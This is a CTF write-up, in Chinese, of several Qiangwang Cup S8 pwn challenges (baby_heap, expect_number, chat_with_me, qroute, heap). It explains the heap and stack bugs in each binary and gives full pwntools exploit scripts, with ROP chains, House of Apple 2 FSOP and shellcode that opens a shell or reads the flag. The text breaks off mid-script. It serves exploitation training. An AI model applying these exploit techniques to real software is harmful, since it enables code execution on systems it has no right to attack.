强网杯S8 初&决赛 - Pwn 个人题解 // 基本结束
文件下载: |
---|
baby_heap.zip |
expect_number.zip |
prpr.zip |
chat_with_me.zip |
heap.zip |
ez_heap.zip |
qroute.zip |
pwn baby_heap 通解
这个题很适合当 large bin 大堆溢出打 House of Apple 2 链的板子题. 但是如果真这样做,会绕很多弯路,最优解应该是利用到 Secret Shop 修改 got 表
通解没有利用到 Secret Shop 和 print_env,而是直接用的 large chunk 来打
这个程序在堆已经被 释放 后依然可以向该堆写入内容,因此有了可乘之机. 首先构造 House of Apple 2 通用板子
# 伪造 struct _IO_FILE_complete_plus
struct_file = flat({
# struct _IO_FILE_complete -> _IO_FILE
0: 0, # file._flag
0x18: p64(leave_ret_c), # file._IO_read_base
0x28: p64(libc.symbols['_IO_list_all'] - 0x20), # 写 IO_list_all - 0x20 的地址至 bk_size,下一次分配小堆元素时就会分配到这里
0x48: p64(orw_addr), # file._IO_save_base
0x88: p64(lock), # file._lock
# struct _IO_FILE_complete
0xa0: p64(widedata_addr), # file._wide_data
# struct
0xd8: p64(wfile), # file._vtable
}, filler=b'\0')
# 伪造 struct _IO_wide_data
struct_widedata = flat({
0xe0: p64(widedata_addr + 0xe8), # _IO_wide_data._IO_read_ptr
0x150: p64(magic_gadget), #
}, filler=b'\0')
然后再在板子后面接上 orw,此处先调用 mprotect,修改 heap_base_addr
~ heap_base_addr + 0x10000
为rwx 后,跳到精心构造的 shellcode 执行. 该 shellcode 打开 ./flag
read 后将其标准输出
orw = b'./flag\x00\x00'
orw += p64(rdx_r12_c) + p64(0) + p64(start_addr - 0x10)
# 调用 mprotect, 修改 heap_base_addr ~ heap_base_addr + 0x10000 为rwx
orw += p64(rdi_c) + p64(heap_base_addr)
orw += p64(rsi_c) + p64(0x10000)
orw += p64(rdx_r12_c) + p64(0x7) * 2
orw += p64(libc.symbols['mprotect'])
orw += p64(shell_addr)
''' long syscall(SYS_openat2, int dirfd, const char *pathname, struct open_how *how, size_t size); '''
orw += asm(shellcraft.openat2(-100, orw_addr, orw_addr + 0x1000, 0x18))
''' ssize_t read(int fd, void buf[.count], size_t count); '''
orw += asm(shellcraft.read(3, heap_base_addr + 0x10000, 0x50))
''' ssize_t write(int fd, const void buf[.count], size_t count); '''
''' write to stdout 1 '''
orw += asm(shellcraft.write(1, heap_base_addr + 0x10000, 0x50))
orw += asm(shellcraft.exit(0))
payload = struct_file + struct_widedata + orw
构造完毕后,需要将该 payload 填充到一个 large bin chunk 中.
Type | Size |
Fast Chunk | 0x20 ~ 0x80 |
Small Chunk | < 0x400 |
Large Chunk | >= 0x400 |
先 alloc 两个 0x548
大小的 chunk,分别为 chunk_1、chunk_2.
为了获得 libc 偏移地址,首先需要 free chunk_1 并使其进入 large bin 中,获取了 libc 地址后再向 chunk_1 中写入 payload 使得其 bk_nextsize
指向 _IO_list_all - 0x20
. 操作后的 large bin 状况如下所示
chunk_1
fd_nextsize: 0x0
bk_nextsize: _IO_list_all - 0x20
_IO_list_all - 0x20
fd_nextsize: _IO_2_1_stderr_
bk_nextsize: 0x0
如上所示,此时 _IO_list_all - 0x20
.fd_nextsize
不受影响. 因此需要 alloc 第三个堆: chunk_3,该堆大小必须小于 chunk_1.
当 chunk_3 处于 unsorted bin 且马上分配至 large bin 时,chunk_3.fd_nextsize
和 chunk_3.bk_nextsize
将会重指向自 chunk_1,且 _IO_list_all - 0x20
也会重整. 如下所示
chunk_1
fd_nextsize: 0x0
bk_nextsize: chunk_3
chunk_3
fd_nextsize: chunk_1
bk_nextsize: _IO_list_all - 0x20
_IO_list_all - 0x20
fd_nextsize: chunk_3
bk_nextsize: 0x0
而后需要 alloc 一个大小为 chunk_3 的空间,这样就能够抽走 large bin 中的 chunk_3,使得 _IO_list_all - 0x20
.fd_nextsize
为 chunk_1,如下所示
chunk_1
fd_nextsize: 0x0
bk_nextsize: _IO_list_all - 0x20
_IO_list_all - 0x20
fd_nextsize: chunk_1
bk_nextsize: 0x0
根据以上原理,写出代码
add_com(0x548) # chunk_1
add_com(0x548) # chunk_2
add_com(0x538) # chunk_3
del_com(1) # free chunk_1 to unsorted bin
add_com(0x558) # free chunk_1 to large bin
del_com(3) # free chunk_3 to unsorted bin
edit_com(1, payload[16:])
add_com(0x568) # free chunk_3 to large bin
add_com(0x538) # alloc chunk_3
运行后如下所示
观察一看,确实如此. 后续直接随便调用 IO 即可触发. 如下所示读取了 ./flag
并且输出了 flag{…}
EXP
#by leeya_bug
from pwn import *
import time
import os
SLEEP_TIME = 0.2
context.os = 'linux'
context.log_level = "debug"
x64_32 = True
context.arch = 'amd64' if x64_32 else 'i386'
p = process('./debug/qwb_babyheap')
libc = ELF('./glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')
def debug():
subprocess.Popen(["qterminal", "-e", f'bash -c "pwndbg -p {p.pid}" '])
p.interactive()
#------------- 基本配置 -------------
def add_com(size: int) -> None:
p.sendlineafter(b'Enter your choice:',b'1')
p.sendlineafter(b'size', str(size).encode())
def del_com(index: int) -> None:
p.sendlineafter(b'Enter your choice:',b'2')
p.sendlineafter(b'delete:', str(index).encode())
def edit_com(index: int, content: bytes) -> None:
p.sendlineafter(b'Enter your choice:',b'3')
p.sendlineafter(b'edit:', str(index).encode())
p.sendlineafter(b'Input the content', content)
def show_com(index: int) -> bytes:
p.sendlineafter(b'Enter your choice:',b'4')
p.sendlineafter(b'show:', str(index).encode())
p.recvuntil(b'The content is here \n')
return p.recvuntil(b'Menu:')
add_com(0x548)
add_com(0x548)
add_com(0x538)
del_com(1)
add_com(0x558)
del_com(3)
content = show_com(1)
libc_addr = u64(content[:8]) - 0x21b120
libc.address = libc_addr
heap_addr = u64(content[16:24])
heap_base_addr = heap_addr - 0x1950
leave_ret_c = next(libc.search(asm('leave;ret;')))
'''call [[[rdi + 0x48] + 0x18] + 0x28]; move rdi, [[rdi + 0x48] + 0x10]'''
magic_gadget = next(libc.search(asm('mov rbp, qword ptr [rdi + 0x48];mov rax, qword ptr [rbp + 0x18]')))
rdi_c = next(libc.search(asm('pop rdi;ret;')))
rsi_c = next(libc.search(asm('pop rsi;ret;')))
rdx_r12_c = next(libc.search(asm('pop rdx;pop r12;ret;')))
lock = libc_addr + 0x3ed8b0
wfile = libc_addr + 0x216F40
start_addr = heap_addr
widedata_addr = start_addr + 0xe0
orw_addr = start_addr + 0xe0 + 0xe8 + 0x70
shell_addr = start_addr + 0xe0 + 0xe8 + 0x70 + 0x68
# 伪造 struct _IO_FILE_complete_plus
struct_file = flat({
# struct _IO_FILE_complete -> _IO_FILE
0: 0, # file._flag
0x18: p64(leave_ret_c), # file._IO_read_base
0x28: p64(libc.symbols['_IO_list_all'] - 0x20), # file._IO_write_ptr
0x48: p64(orw_addr), # file._IO_save_base
0x88: p64(lock), # file._lock
# struct _IO_FILE_complete
0xa0: p64(widedata_addr), # file._wide_data
# struct
0xd8: p64(wfile), # file._vtable
}, filler=b'\0')
# 伪造 struct _IO_wide_data
struct_widedata = flat({
0xe0: p64(widedata_addr + 0xe8), # _IO_wide_data._IO_read_ptr
0x150: p64(magic_gadget), #
}, filler=b'\0')
orw = b'./flag\x00\x00'
orw += p64(rdx_r12_c) + p64(0) + p64(start_addr - 0x10)
# 调用 mprotect, 修改 heap_base_addr ~ heap_base_addr + 0x10000 为rwx
orw += p64(rdi_c) + p64(heap_base_addr)
orw += p64(rsi_c) + p64(0x10000)
orw += p64(rdx_r12_c) + p64(0x7) * 2
orw += p64(libc.symbols['mprotect'])
orw += p64(shell_addr)
''' long syscall(SYS_openat2, int dirfd, const char *pathname, struct open_how *how, size_t size); '''
orw += asm(shellcraft.openat2(-100, orw_addr, orw_addr + 0x1000, 0x18))
''' ssize_t read(int fd, void buf[.count], size_t count); '''
orw += asm(shellcraft.read(3, heap_base_addr + 0x10000, 0x50))
''' ssize_t write(int fd, const void buf[.count], size_t count); '''
''' write to stdout 1 '''
orw += asm(shellcraft.write(1, heap_base_addr + 0x10000, 0x50))
orw += asm(shellcraft.exit(0))
payload = struct_file + struct_widedata + orw
# offset a large chunk header
edit_com(1, payload[16:])
add_com(0x568)
add_com(0x538)
show_com(2)
pwn baby_heap 特解
由于 getenv、setenv 在遍历所有环境变量时,调用了 strncmp 函数,在这里首先 alloc 堆获取 libc 地址后,直接通过 Secret Shop 修改 got 表中 strncmp 函数的值为 put 函数即可打印出所有环境变量.
EXP
#by leeya_bug
from pwn import *
import time
SLEEP_TIME = 0.2
p = process('./debug/qwb_babyheap')
libc = ELF('./glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')
def debug():
subprocess.Popen(["qterminal", "-e", f'bash -c "pwndbg -p {p.pid}" '])
p.interactive()
#------------- 基本配置 -------------
def add_com(size: int) -> None:
p.sendlineafter(b'Enter your choice:',b'1')
p.sendlineafter(b'size', str(size).encode())
def del_com(index: int) -> None:
p.sendlineafter(b'Enter your choice:',b'2')
p.sendlineafter(b'delete:', str(index).encode())
def edit_com(index: int, content: bytes) -> None:
p.sendlineafter(b'Enter your choice:',b'3')
p.sendlineafter(b'edit:', str(index).encode())
p.sendlineafter(b'Input the content', content)
def show_com(index: int) -> bytes:
p.sendlineafter(b'Enter your choice:',b'4')
p.sendlineafter(b'show:', str(index).encode())
p.recvuntil(b'The content is here \n')
return p.recvuntil(b'Menu:')
def print_env(chose: int) -> bytes:
p.sendlineafter(b'Enter your choice:',b'5')
p.sendlineafter(b'sad !', str(chose).encode())
return p.recvuntil(b'Menu:')
def secret(target_addr: bytes, content: bytes) -> None:
p.sendlineafter(b'Enter your choice:',b'6')
p.sendafter(b'target addr', target_addr)
time.sleep(SLEEP_TIME)
p.send(content)
add_com(1300)
add_com(1300)
del_com(1)
content = show_com(1)
libc_addr = u64(content[:8]) - 0x21ace0
libc.address = libc_addr
secret(p64(libc.got['strncmp']), p64(libc.symbols['puts']))
print(print_env(2))
pwn expect_number
观察位于 0x2BEE 的 Continue_Game 函数,当用户输入一个值以后,会根据当前生成的随机数的值,对用户的输入 和 上一次的计算结果 进行加减乘除操作.
而正巧的是,该随机数的种子是固定的 srand(1u);
,因此可以通过计算得知每次生成的随机数是多少.
每次生成的的随机数如下所示
4 3 2 4 2 4 3 1 2 2 3 4 3 4 4 3 1 3 1 1 4 1 4 2 3 3 3 4 4 4 2 3 3 3 2 4 2 1 4 3 2 2 2 4 1 2 3 1 4 3 2 3 4 1 1 2 3 3 1 2 2 2 1 4 1 2 3 2 2 2 1 4 3 2 3 4 3 1 4 3 4 1 1 3 1 ... (后续生成的序列在代码中)
继续观察位于 0x2BEE 的 Continue_Game 函数,由以下红线可知观察到 rsi 可能是一个类结构.
在程序运行多次后观察内存,得出规律,对 rsi 的类结构体进行重构:
struct STRUCT1{
void* addr_unknown;
int32_t round_times; //程序计算运行次数
char history[276]; //程序记录的历史命令
void* addr_virtfunc_exit; //虚表中 Exit 函数的地址,当用户选择 4 退出时会调用该地址的函数
}
该结构体的最后一个变量 addr_virtfunc_exit 为虚表函数的地址,当用户选择 exit 时便会调用这个地址.
可以发现,如果 round_times 超过 276,便会直接写到 history + 276
的地址. 而该地址即为虚表中 Exit 函数的最后一个字节.
而又可知,Exit 函数的 Symbol 地址为 $rebase(0x4C48)
,而刚好在 $rebase(0x4C60)
位置存在一个可以栈溢出的函数. 这意味着只需要修改虚表中最后一个字节从 0x48 到 0x60 即可劫持 exit 流程.
如何修改这个字节恰好为 0x60 ?可以发现,这 276 字节大小的空间不仅仅记录的是 history,在当前 history 的后一个地址恰好是当前计算的结果.
只需要让当前数字计算的结果为 0x60,并且填满这 276 字节大小的空间即可成功修改.
在成功抵达 $rebase(0x4C60)
开始栈溢出流程后,可以发现栈变量字节大小为 0x20,0x30 完全可以覆盖 ebp 和 rip. 通过如下箭头的异常程序流 throw 的一个 std::runtime_error
直接劫持正常流程.
又可以发现,程序某处的 catch 存在后门函数,直接让 rip 跳到 2516 即可成功 catch 到 std::runtime_error
并且 执行 system("/bin/sh")
通过以上得出最终 exp
EXP
#by leeya_bug
from pwn import *
import time
import os
SLEEP_TIME = 0.2
context.os = 'linux'
context.log_level = "debug"
x64_32 = True
context.arch = 'amd64' if x64_32 else 'i386'
p = process('./expect_number')
def debug():
subprocess.Popen(["qterminal", "-e", f'''bash -c 'pwndbg -ex "set telescope-skip-repeating-val off" -p {p.pid}' '''])
p.interactive()
#------------- 基本配置 -------------
def continue_game(number: int) -> None:
p.sendlineafter(b'waiting for your choice', b'1')
p.sendlineafter(b'2 or 1 or 0', str(number).encode())
def show() -> bytes:
p.sendlineafter(b'waiting for your choice', b'2')
data = p.recvuntil(b'|--------').split(b'History is : ')[1].split(b'|--------')[0].strip(b'\t\n')
return data
def exit() -> None:
p.sendlineafter(b'waiting for your choice', b'4')
rand_nums = '4 3 2 4 2 4 3 1 2 2 3 4 3 4 4 3 1 3 1 1 4 1 4 2 3 3 3 4 4 4 2 3 3 3 2 4 2 1 4 3 2 2 2 4 1 2 3 1 4 3 2 3 4 1 1 2 3 3 1 2 2 2 1 4 1 2 3 2 2 2 1 4 3 2 3 4 3 1 4 3 4 1 1 3 1 1 4 4 3 4 1 1 1 1 4 1 3 3 3 4 4 3 3 3 4 2 2 3 2 1 1 1 2 1 3 2 2 2 1 4 1 2 4 2 2 4 2 4 2 4 4 1 2 2 3 2 3 4 4 1 1 4 1 2 4 4 3 1 1 4 1 2 1 4 3 2 3 4 2 4 4 1 1 1 2 3 2 1 3 1 1 3 4 1 4 4 4 2 4 1 1 4 2 1 4 4 3 2 3 4 2 2 4 2 3 1 4 4 1 2 1 1 4 4 2 3 3 1 1 3 1 1 2 2 2 1 1 4 3 4 3 4 1 2 1 3 2 4 3 3 2 3 3 1 2 4 4 1 1 4 3 1 4 4 3 1 1 3 4 3 2 2 2 3 3 2 1 1 1 3 3 2 1 1 3 3 1 2 3 1 1 1 1 4 4 3 1 4 2 4 2 3 2 3 1 4 4 2 4'.split(' ')
rand_nums = [ int(i) for i in rand_nums ][::-1]
#------------- 填充整个 276 长度的 byte 数组 -------------
#------------- 并使当前计算的数字为 0x60,也就是 addr_virtfunc_exit 地址最后有一个字节为 0x60 -------------
for i in range(0, 92):
cur_nums = rand_nums.pop()
if cur_nums == 1: continue_game(2)
if cur_nums == 2: continue_game(0)
if cur_nums == 3: continue_game(1)
if cur_nums == 4: continue_game(1)
flag = False
for i in range(92, 276):
cur_nums = rand_nums.pop()
if cur_nums == 1: continue_game(1)
if cur_nums == 2:
if not flag:
continue_game(1)
flag = True
else: continue_game(0)
if cur_nums == 3: continue_game(1)
if cur_nums == 4: continue_game(1)
data = show()
leak_addr = u64(data[-6:].ljust(8, b'\x00'))
base_addr = leak_addr - 0x4C60
exit()
#------------- 发送 payload -------------
payload = b''
payload += b'a' * 0x20 + p64(base_addr + 0x5840) + p64(base_addr + 0x0000000000002516)
p.sendlineafter(b'favorite number.\n', payload)
p.interactive()
pwn prpr
这个题的难度比较大. 考了printf型虚拟机、虚拟机逃逸、FSOP
首先需要了解一下什么是 printf 型虚拟机:
printf中可以自定义格式占位符(spec)的行为,就像使用%x可以输出一个数的十六进制一样,在使用 register_printf_function 后可以将指定spec与指定转换函数绑定,从而自定义输出行为
在这个过程中,register_printf_function 函数就非常重要.
举个例子,当在此程序中规定了虚拟机的 BP 和 SP 后,使用以下函数注册 %a 为占用符:
...
void* EBP_ADDR; // EBP_ADDR 为 栈底真实地址
int ESP_PTR; // ESP_PTR 为相对于 EBP 的偏移,当为 0 时 栈底 和 栈顶 相等
// 这个函数的命令相当于:
// pop eax
// xor eax, [esp]
// mov [esp], eax
// 将 栈顶 - 1 和 栈顶 的两个元素异或,退栈,然后将结果赋值给 栈顶 元素
// 注意的是,此处虚拟机的 栈底 为低地址,栈顶 为高地址
int VM_xor(FILE *stream, const struct printf_info *info, const void *const *args)
{
int v3 = ESP_PTR --;
*(EBP_ADDR + ESP_PTR) ^= *(EBP_ADDR + (ESP_PTR + 1));
return 0;
}
int main(){
// 将 VM_xor 函数注册为 %a 占位符
register_printf_function('%a', VM_xor, arginfo);
}
当执行 printf("%a")
时,即执行命令
pop eax
xor eax, [esp]
mov [esp], eax
根据以上规律,题目在 init 时注册了多个 printf 占位符,以实现虚拟机功能
然后继续分析执行命令的循环在哪. main 函数调用 func_Q、func_W、func_B,可以发现
分别查看这三个函数,又发现 func_B 调用了 func_P、func_R、func_O
最终可以看到 func_R 中从内存的某处
暂未更新完毕
pwn chat_with_me 特解
本题如果黑盒打 pwn,就要多在 free、malloc 等处下几个断点做测试
这个题是一个 rust pwn 题,一开始拿到这个题时做题家会发现,无论是 show 还是 edit,都会展示一串未知的二进制数据. show 函数泄露了程序基址、栈地址、堆地址等信息. 而最主要应该关注的是 edit,因为 edit 能够输入数据,并且在前后有 chunk 到 bin 的变化,因此
将该二进制数据解成每八字节长度的二进制数据
观察到发现第二个、第五个、第八个数据就是该 chunk 的地址,推测这几个位置的地址能够直接由于用户的 输入覆盖 导致任意地址 free. 再经过多次测试,发现第五个地址是覆盖的关键,而第四个地址代表长度
0xa
0x5651d8238bb0
0x5
0x8 <- 长度
0x5651d8238bb0 <- free 的地址
0x2
0x5651d7afd5b0
0x5651d8236b00
0x0
0x7
经过打断点 free 发现,以上数据在 read 函数的栈上.
当前笔者思路是 free 到一个受用户操控的地址(必须要能够操控 chunk header). 而纵观整个程序流程,用户可以操控的位置要么是以上的栈空间,要么是一个 stdin 的缓冲区空间. 在这种情况下操控 栈空间 很明显是更明智之举:
当前程序的调用栈在 read 函数,操控此处的栈空间后,在下一次调用 read 时就极有可能将用户输入的 chunk alloc 到此处,并且其栈底的关键数据也在此处.
接下来把目光转向 delete 函数,Index 用户可以输入完全超过长度,经过打断点 malloc 调试发现程序逻辑大概是:用户输入了多少个字节的数据,他就 malloc 多少个字节的 chunk. 并将用户输入写入到其中.
在测试中,笔者输入了 0x27 个字节(包括\x00),该函数 malloc 了 0x27 个
在 delete 时又有发现,read_line 函数调用时的 rbp 指向的栈地址,正好为如下的 第八个地址处:
0xa
0x5651d8238bb0
0x5
0x8 <- 长度
0x5651d8238bb0 <- free 的地址
0x2
0x5651d7afd5b0
0x5651d8236b00 <- delete 时 rbp 的位置
0x0
0x7
这样,一切就通了:
- 使用任意地址 free 漏洞,输入以下 payload,free 掉第八个位置造的假 chunk
(第八个位置可由 show 函数泄露的信息推断出来)
0x0
0x0
0x0
0x401 <- 长度
第八个位置 <- free 的地址
0x0 <- 假 chunk header
0x401 <- 假 chunk header
0x5651d8236b00 <- 假 chunk, delete 时 rbp 的位置
0x0
0x7
- 在 delete 时输入一个长度为 0x3f0 大小的二进制数据,好让该数据分配到假 chunk,并且该数据为精心构造的 rop 链即可
在分配时需要注意调整 rop 链长度,避免进入 read_line 函数 utf-8 处理
EXP
# by leeya_bug
from ast import literal_eval
from pwn import *
import time
import os
SLEEP_TIME = 0.2
context.os = 'linux'
#context.log_level = "debug"
x64_32 = True
context.arch = 'amd64' if x64_32 else 'i386'
p = process('./debug/chat-with-me')
#libc = ELF('/home/leeya_bug/桌面/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6')
def debug(interact = True, query = ''):
subprocess.Popen(["qterminal", "-e", f'''bash -c 'pwndbg -ex "set telescope-skip-repeating-val off" -ex "{query}" -p {p.pid}' '''])
if interact: p.interactive()
def original_debug(interact = True):
gdb.attach(p)
if interact: p.interactive()
u64_ = lambda a: u64(a.ljust(8,b'\x00'))
# ------------- 基本配置 -------------
def add() -> None:
p.sendlineafter(b'Choice >', b'1')
def show(index: int) -> None:
p.sendlineafter(b'Choice >', b'2')
p.sendlineafter(b'Index >', str(index).encode())
p.recvuntil(b'Content:')
return literal_eval(p.recvuntil(b']').decode())
def edit(index: int, memory: bytes) -> bytes:
p.sendlineafter(b'Choice >', b'3')
p.sendlineafter(b'Index >', str(index).encode())
#debug(False)
#time.sleep(5)
p.sendlineafter(b'Content >', memory)
p.recvuntil(b'Content: ')
return literal_eval(p.recvuntil(b']').decode())
def delete(index: int) -> None:
p.sendlineafter(b'Choice >', b'4')
p.sendlineafter(b'Index >', str(index).encode())
# --------
def list2list_bytes(data: list) -> list:
d1 = [ data[i: i + 8] for i in range(0, len(data), 8) ]
return [ b''.join([ p8(i) for i in d2 ]) for d2 in d1 ]
def list_bytes2bytes(data: list) -> bytes:
return b''.join(data)
def ljust_mul(s1, justnum: int, s2): return s1.ljust(justnum, b'*').replace(b'*' * len(s2), s2)
add()
data = list2list_bytes(show(0))
heap_addr = u64(data[1])
stack_addr = u64(data[4])
program_addr = u64(data[5])
program_base = program_addr - 0x635b0
bin_base = heap_addr - 0x2bb0
stdin_buf = bin_base + 0xb90
ebp_read_line = stack_addr - 0x158 + 0x30 - 0x10
print(f'program_base: {hex(program_base)}')
print(f'bin_base: {hex(bin_base)} ')
print(f'stack_addr: {hex(stack_addr)} ')
print(f'stdin_buf: {hex(stdin_buf)} ')
print(f'ebp_addr when read_line: {hex(ebp_read_line)}')
edit(0, list_bytes2bytes([p64(0), p64(0), p64(0), p64(0x401), p64(ebp_read_line), p64(0), p64(0), p64(0x401)]))
rdi_rbp = program_base + 0x000000000001dd45 # pop rdi ; pop rbp ; ret
rsi_rbp = program_base + 0x000000000001e032 # pop rsi ; pop rbp ; ret
rax = program_base + 0x0000000000016f3e # pop rax ; ret
clear_rdx_pop_3 = program_base + 0x000000000005b1c2 # mov rdx, r8 ; pop rbx ; pop r14 ; pop rbp ; ret
syscall = program_base + 0x0000000000026fcf # syscall
pay = p64(rdi_rbp) * 0x13
pay += p64(rdi_rbp) + p64(stack_addr) * 2
pay += p64(rsi_rbp) + p64(0) * 2
pay += p64(clear_rdx_pop_3) + p64(0) * 3
pay += p64(rax) + p64(0x3b)
pay += p64(rdi_rbp) + p64(stack_addr + 0x48 + 8) * 2
pay += p64(syscall)
p.sendlineafter(b'Choice >', b'4')
p.sendlineafter(b'Index >', ljust_mul(pay, 0x3f0, b'/bin/sh\x00'))
p.interactive()
pwn qroute
这个题是用 golang 编写的,类似于模拟路由器远程调试程序的程序. 主要漏洞点就在 main__ptr_Router_ping
函数中,该函数通过 exec ping <指令> <参数>
调用
__int64 __golang main__ptr_Router_ping(
__int64 a1,
char *a2,
__int64 a3,
__int64 j,
__int64 a5,
__int64 a6,
__int64 a7,
__int64 a8,
__int64 a9)
该函数初始化了一个长度为 72 的变量,对该变量的写入可以越界,从而导致 Stack OverFlow.
整个 main__ptr_Router_ping
函数只有下图中红圈处对该变量的值进行访问. 不过当笔者 fuzz 完了所有值后,均发现无法进入到下图中的 while 块部分. 因此此处应该是跟其他功能点有所关联,笔者继续分析
根据判断 main__ptr_Router_ping
函数逻辑发现,要想进入上图此处,必须输入指令 set dns <域名> <IP>
后,再 exec ping host <域名>
,这样域名就会被切割放入 SOF_Point1 变量中,覆盖 RIP 返回地址后成功导致栈溢出.
vmmap 查看了下各段权限,发现根本不好打 ret2shellcode. 后续直接先调用 read 函数写入 ret2syscall 的 rop 链后,直接 ret2syscall 即可. 细节于 EXP 中展示
EXP
# by leeya_bug
from ast import literal_eval
from pwn import *
import time
import os
import base64
SLEEP_TIME = 0.2
context.os = 'linux'
#context.log_level = "debug"
x64_32 = True
context.arch = 'amd64' if x64_32 else 'i386'
p = process('./debug/qroute')
#libc = ELF('/home/leeya_bug/桌面/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6')
def debug(interact = True, query = ''):
subprocess.Popen(["qterminal", "-e", f'''bash -c 'pwndbg -ex "set telescope-skip-repeating-val off" -p {p.pid} -ex "{query}" ' '''])
if interact: p.interactive()
def original_debug(interact = True):
gdb.attach(p)
if interact: p.interactive()
u64_ = lambda a: u64(a.ljust(8,b'\x00'))
# ------------- 基本配置 -------------
def exec_cmd(cmd: bytes) -> None:
p.sendlineafter(b'#', cmd)
g_syscall = 0x0000000000471CD1
g_pop_rax = 0x000000000042cfae # before rbx
g_pop_rbx = 0x0000000000461dc1 #
g_pop_rcx = 0x0000000000433347 # before ax, bx
g_pop_rbp = 0x0000000000401030 #
g_pop_rdi = 0x00000000004c23dd
g_pop_rdx = 0x00000000004a55a5
sh = 0x000000000055171d
syscall_read = 0x000000000048DB60
free_stack = 0x000000c000000000 + 0x300000
leave_ret = 0x00000000004a721a
gadget1 = b''
gadget1 += p64(g_pop_rbp) + p64(free_stack)
gadget1 += p64(g_pop_rcx) + p64(0x200) # before ax, bx
gadget1 += p64(g_pop_rbx) + p64(free_stack)
gadget1 += p64(syscall_read)
gadget1 += p64(leave_ret)[:-2]
overflow = b'...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................11rbp11.'
exec_cmd(b'cert 4ceb539da109caf8eea7')
exec_cmd(b'configure')
exec_cmd(b'set dns ' + overflow + gadget1 + b' 172.22.22.22')
exec_cmd(b'exec ping host ' + overflow + gadget1)
gadget2 = b''
gadget2 += b'/bin/sh\x00'
gadget2 += p64(g_pop_rdi) + p64(free_stack)
gadget2 += p64(g_pop_rax) + p64(0x3b)
gadget2 += p64(g_syscall)
p.sendlineafter(b'DNS lookup failed for', gadget2)
p.interactive()
pwn heap
这个题在搭建环境时,可能会非常费劲. 由于这个题依赖了 libc 2.31 版本的 libcrypto v1.1.0 库,但是又并没有在附件中包含它,笔者只好自己在 libc 2.31 的 ubuntu 中编译了个 libcrypto v1.1.0 放在这里,读者在使用时只需要将该库链接到本机对应的 libc 2.31 版本即可
这个题存在 free 后写入、读出漏洞
并且程序将会把前 (len(input) // 16) * 16
个字节加密,其 aes 密钥为随机生成,但通过 tcache bin 可以直接控制其 aes 密钥堆块并修改密钥,此处笔者不再赘述
在做题过程中,笔者通过劫持 tcache_perthread_struct 使得做题更方便,读者可以自行选择是否劫持 tcache_perthread_struct,详细劫持方法请查看强网青少年: youth_memory_album (tcache_perthread_struct 劫持)
这个题的堆分配使用 safe_malloc 函数,该函数会 check 此时 malloc 的 chunk 地址是否与 heap 同页(即除低地址三字节以外,高地址相同).
heap: 0x000055e400 691000
safe_malloc
tcache_bin1: 0x000055e400 691500 √
tcache_bin2: 0x000055e410 691000 × 不在同页
该函数断绝了 tcache bin attack 直接修改目标内存的可能性,只能通过其他方式修改
首先,已知在 program + 0x4080
位置存在一个 BookList 变量,会将用户 malloc 的所有堆地址记录到此,这下正好符合 unsafe unlink 的条件,况且将特定地址写入 BookList 数组中后,可以再继续利用 BookList 往特定地址中写入数据
为了使得 unsafe unlink 笔者需要在内存中某个地址布局如下(左侧为笔者能控制的布局,与右侧 BookList 相对应)
如上图所示,需要一个 unsorted chunk,并修改其 prev_size: 0x30,size: 0x500.
在其前部构造一个假的大小为 0x30 的 chunk 作为 fake bin,并且此时在 BookList 中已有一个地址指向该 0x30 的 chunk(假设该 0x30 大小的 chunk 的地址为 chk地址
,并且该地址指向的是 chunk header),那就必须修改 fd 为 &chk地址 - 0x18
,bk 为 chk地址 - 0x10
.
相信此处对于读者朋友们不难理解,这样的内存布局,对于中心的 chk 如下所示
fd-> ->fd
BookList + 0x10 chk地址 BookList + 0x18
<-bk <-bk
此时,只需要 free 掉 unsorted chunk,当 free unsorted chunk 时会按顺序发生如下逻辑判断
- 首先该块检查 prev_inuse 位,此时 0x500 该位为 0,因此证明前面的堆块被释放了,要将其合并到本 chunk 中
-
此时 prev_size 为 0x30,那么开始合并前一个 0x30 大小堆块的流程. 调用
unlink_chunk
函数,如下所示继续检测该 0x30 堆块chunk->fd->bk == chunk && chunk->bk->fd == chunk
条件是否为 True/* Take a chunk off a bin list. */ static void unlink_chunk (mstate av, mchunkptr p) { if (chunksize (p) != prev_size (next_chunk (p))) malloc_printerr ("corrupted size vs. prev_size"); mchunkptr fd = p->fd; mchunkptr bk = p->bk; if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) malloc_printerr ("corrupted double-linked list"); fd->bk = bk; bk->fd = fd; if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL) { if (p->fd_nextsize->bk_nextsize != p || p->bk_nextsize->fd_nextsize != p) malloc_printerr ("corrupted double-linked list (not small)"); if (fd->fd_nextsize == NULL) { if (p->fd_nextsize == p) fd->fd_nextsize = fd->bk_nextsize = fd; else { fd->fd_nextsize = p->fd_nextsize; fd->bk_nextsize = p->bk_nextsize; p->fd_nextsize->bk_nextsize = fd; p->bk_nextsize->fd_nextsize = fd; } } else { p->fd_nextsize->bk_nextsize = p->bk_nextsize; p->bk_nextsize->fd_nextsize = p->fd_nextsize; } } }
-
此时我们构造的内存布局,刚好能使得如上判断语句为 True 并修改
chunk->fd->bk = chunk->bk
,chunk->bk->fd = chunk->fd
,这样正好使得 BookList 中存在 BookList 中本身的地址(如下图红圈中所示). 对该地址进行写,就可以对 BookList 中的地址进行写操作后续就可以直接通过 environ 查看栈地址,然后打 rop 了. 由于写入大小仅限 0x30,笔者将 rsp 修改到栈上某处后继续打 rop,后续不再赘述.
EXP
# by leeya_bug
from ast import literal_eval
from pwn import *
import time
import os
from Crypto.Cipher import AES
SLEEP_TIME = 0.2
context.os = 'linux'
#context.log_level = "debug"
x64_32 = True
context.arch = 'amd64' if x64_32 else 'i386'
p = process('./debug/heap')
libc = ELF('/home/leeya_bug/桌面/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6')
def debug(interact = True, query = ''):
subprocess.Popen(["qterminal", "-e", f'''bash -c 'pwndbg -ex "set telescope-skip-repeating-val off" -ex "{query}" -p {p.pid}' '''])
if interact: p.interactive()
def original_debug(interact = True):
gdb.attach(p)
if interact: p.interactive()
u64_ = lambda a: u64(a.ljust(8,b'\x00'))
# ------------- 基本配置 -------------
def add(index: int, content: bytes) -> None:
p.sendlineafter(b'>>', b'1')
p.sendlineafter(b'idx:', str(index).encode())
